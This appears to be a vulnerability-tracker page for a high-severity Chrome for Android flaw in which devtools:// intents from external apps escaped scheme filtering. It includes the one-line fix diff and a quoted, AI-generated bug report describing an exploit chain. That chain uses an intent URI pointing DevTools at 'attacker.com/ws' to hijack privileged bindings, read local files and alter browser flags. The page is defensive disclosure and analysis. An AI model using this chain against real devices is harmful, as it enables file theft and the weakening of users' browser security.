High watch CVSS 7.8 chrome Policy Bypass 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
7.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Sub-componentAndroid
Bug ClassPolicy Bypass
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker497936728
Fix commitf23db0dca7d1 (chromium/src) +1/-0
CWECWE-693
CVSS vectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedGoogle
Reported2026-03-30 (per vendor advisory)
Fix landed2026-04-02 (public git)
Disclosed2026-05-05
Patch gap33 days — fix public in source before the advisory

Background

`IntentHandler`
the Chrome-for-Android class that parses incoming Android Intent objects (including those sent by other, untrusted apps) and decides whether and how their URLs are turned into navigations.
`devtools://` scheme
a privileged internal WebUI scheme (represented by UrlConstants.DEVTOOLS_SCHEME) that serves the Chrome DevTools frontend and is normally reachable only from trusted, first-party contexts.
Internal-scheme set
the if condition in the patched hunk that enumerates “safe” internal schemes (CHROME_SCHEME, CHROME_NATIVE_SCHEME, DISTILLER_SCHEME, ABOUT_SCHEME) that receive special handling when launched via external intents.
DevTools availability policy
the enterprise/managed control that governs whether DevTools may be opened at all; enforcement depends on all code paths that can reach a devtools:// page honoring it.

Root Cause Analysis

The patch adds a single line to the scheme-matching if in IntentHandler.java so that UrlConstants.DEVTOOLS_SCHEME joins the existing set of internal schemes (CHROME_SCHEME, CHROME_NATIVE_SCHEME, DISTILLER_SCHEME, ABOUT_SCHEME) handled by the branch whose retained comment reads “Allow certain ‘safe’ internal URLs to be launched by external [applications]”. Before the change, a devtools:// URL arriving in an Intent from an external application was not recognized by this internal-scheme logic and therefore did not travel the same controlled/filtered path as the other privileged internal schemes. The invariant violated is that privileged internal schemes delivered via cross-app intents must be funneled through Chrome’s internal-scheme handling (so that policy and trust checks apply) rather than slipping through unclassified. The commit (BUG=497936728, BUG=498454478) brings devtools:// under the same classification so DevTools URLs from untrusted intents are subject to the intended enforcement. Because the enclosing method name is not present in the hunk context, I do not assert it here. The removed/old behavior is implicit: the absence of DEVTOOLS_SCHEME from the list meant DevTools URLs were not covered by this check.
Key insight
The core mistake was that UrlConstants.DEVTOOLS_SCHEME was omitted from IntentHandler’s recognized internal-scheme set, so DevTools URLs from external intents escaped the handling that enforces DevTools policy; the fix closes the gap by listing devtools:// alongside the other privileged internal schemes.

Attack Path

  1. Craft an intent A malicious or cooperating third-party Android app constructs an Intent targeting Chrome whose data URL uses the devtools:// scheme.
  2. Dispatch to Chrome The intent is sent to Chrome, where IntentHandler extracts and lowercases the scheme (lowerCaseScheme) for classification.
  3. Miss the internal-scheme branch (pre-patch) Because DEVTOOLS_SCHEME was absent from the if set, the devtools:// URL was not treated as one of the recognized internal schemes and bypassed the intended filtering/policy path.
  4. Reach a privileged DevTools page The unclassified devtools:// navigation could proceed in a way that circumvents DevTools availability/policy enforcement (inferred), exposing privileged WebUI to an external caller.

Impact Assessment

An external Android application could cause Chrome to process a devtools:// URL without the policy enforcement applied to other internal schemes, i.e., an insufficient-policy-enforcement/DevTools-policy bypass as the advisory states (“Insufficient policy enforcement in DevTools,” severity high). The attacker gains the ability to reach privileged DevTools surface from an untrusted cross-app context; any further escalation beyond bypassing DevTools policy is not demonstrated by this one-line diff and is (inferred). The advisory does not report in-the-wild exploitation.

Files Changed

  • chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java

Audit Directions

  • Scheme allow/deny lists
    Enumerate every place Chrome compares a scheme against a hardcoded set (IntentHandler, external-navigation handlers, UrlConstants consumers) and confirm each privileged WebUI scheme (devtools://, chrome://, chrome-untrusted://, chrome-native://) is consistently represented across all of them.
  • Cross-app intent entry points
    Audit paths where an Intent URL from another app becomes a navigation and verify privileged internal schemes are filtered or require trust before loading.
  • Policy-gated surfaces reachable off the main path
    For features governed by enterprise policy (DevTools, flags, WebUI), check that every alternate entry (intents, shortcuts, deep links) routes through the same policy enforcement rather than an unclassified default.
From f23db0dca7d17241f43f015369f58139b60bd4f9 Mon Sep 17 00:00:00 2001
From: Ryo Hashimoto <[email protected]>
Date: Wed, 01 Apr 2026 17:15:44 -0700
Subject: [PATCH] android: Filter devtools scheme

BUG=497936728
BUG=498454478

Change-Id: I10db3564d28d9ae97e1831a83da28acf9b6aafb3
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7720562
Reviewed-by: Theresa Sullivan <[email protected]>
Commit-Queue: Ryo Hashimoto <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1608884}
---

diff --git a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
index 563e76b8..cf04bc9 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
@@ -1069,6 +1069,7 @@
             String lowerCaseScheme = scheme.toLowerCase(Locale.US);
             if (UrlConstants.CHROME_SCHEME.equals(lowerCaseScheme)
                     || UrlConstants.CHROME_NATIVE_SCHEME.equals(lowerCaseScheme)
+                    || UrlConstants.DEVTOOLS_SCHEME.equals(lowerCaseScheme)
                     || UrlConstants.DISTILLER_SCHEME.equals(lowerCaseScheme)
                     || ContentUrlConstants.ABOUT_SCHEME.equals(lowerCaseScheme)) {
                 // Allow certain "safe" internal URLs to be launched by external
Loading diff…

Original Bug Report

reported by [email protected]

Potential WebUI Privilege Escalation via devtools:// Intent Filter Bypass on Android

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: Chrome for Android’s Intent filtering fails to block the devtools:// scheme, allowing external apps to launch the DevTools frontend. An attacker can append a ws= query parameter to force the DevTools UI to connect to a malicious WebSocket server, gaining control over the privileged WebUI renderer. This allows access to powerful browser-process bindings, enabling local file theft or the setting of dangerous persistent browser flags.

Affected files:

  • chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
  • chrome/browser/devtools/devtools_ui_bindings.cc
  • chrome/browser/ui/webui/chrome_web_ui_controller_factory.cc
  • chrome/browser/ui/webui/devtools/devtools_ui.cc

Estimated timestamp from git blame: 2025-08-25

Vulnerability Description

A vulnerability exists in Chrome for Android where external intents are not properly filtered against the devtools:// scheme. This allows a malicious local Android application to force Chrome to navigate to the DevTools frontend. By manipulating the ws (WebSocket) query parameter, an attacker can hijack the DevTools frontend, taking control of a privileged WebUI context.

Note: These steps are based on static code analysis by an AI tooling agent and represent a potential exploit chain. The agent does not have the ability to run code or verify the exploit dynamically.

Step-by-Step Exploit Chain

  1. Intent Filter Bypass: An attacker application sends an ACTION_VIEW Intent with the URI devtools://devtools/bundled/devtools_app.html?ws=attacker.com/ws. In chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java, the method intentHasUnsafeInternalScheme checks if the scheme is an internal Chrome scheme (chrome:, chrome-native:, or about:). It crucially omits devtools:. Thus, the Intent is permitted.

  2. Incomplete URL Sanitization: The navigation is processed by ChromeWebUIControllerFactory. The URL is validated via DevToolsUIBindings::IsValidFrontendURL. The ws query parameter is sanitized by SanitizeEndpoint (in chrome/browser/devtools/devtools_ui_bindings.cc), which only checks for the absence of & and ? characters. It does not restrict the WebSocket endpoint to localhost or a trusted domain, allowing attacker.com/ws to pass.

  3. Opener Check Bypass: As the navigation prepares to commit, DevToolsUIBindings::ReadyToCommitNavigation performs a security check to ensure that if the window has an opener, the opener is also a DevTools window. However, because the navigation was initiated by an external Intent, the WebContents has no opener (GetOpener() == nullptr). This entirely bypasses the check, and DevToolsFrontendHost::Create is successfully called, injecting privileged Mojo bindings into the WebUI renderer.

  4. WebSocket Hijacking: The DevTools frontend loads and establishes a WebSocket connection to the attacker-controlled endpoint (ws://attacker.com/ws).

  5. Privilege Escalation: The attacker’s WebSocket server now controls the DevTools frontend. The attacker can execute JavaScript in the WebUI to invoke window.DevToolsHost.sendMessageToEmbedder. This grants access to powerful browser-process bindings implemented in DevToolsUIBindings:

    • Arbitrary File Read: Calling the loadNetworkResource method allows the attacker to read local files via file:// URLs (e.g., from external storage like /sdcard/), as the backend explicitly creates a FileURLLoaderFactory for file schemes.
    • Persistent Flag Modification: Calling the setChromeFlag method allows the attacker to persistently enable dangerous features or disable security mitigations in about:flags, followed by invoking requestRestart to execute Chrome with a compromised security posture.

Suggested Fix

  1. Intent Filter: Update intentHasUnsafeInternalScheme in IntentHandler.java to explicitly include UrlConstants.DEVTOOLS_SCHEME in the list of unsafe internal schemes.
  2. Endpoint Sanitization: Strengthen SanitizeEndpoint in devtools_ui_bindings.cc to restrict WebSocket connections to loopback addresses (localhost / 127.0.0.1) unless explicitly authorized for remote debugging.

Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker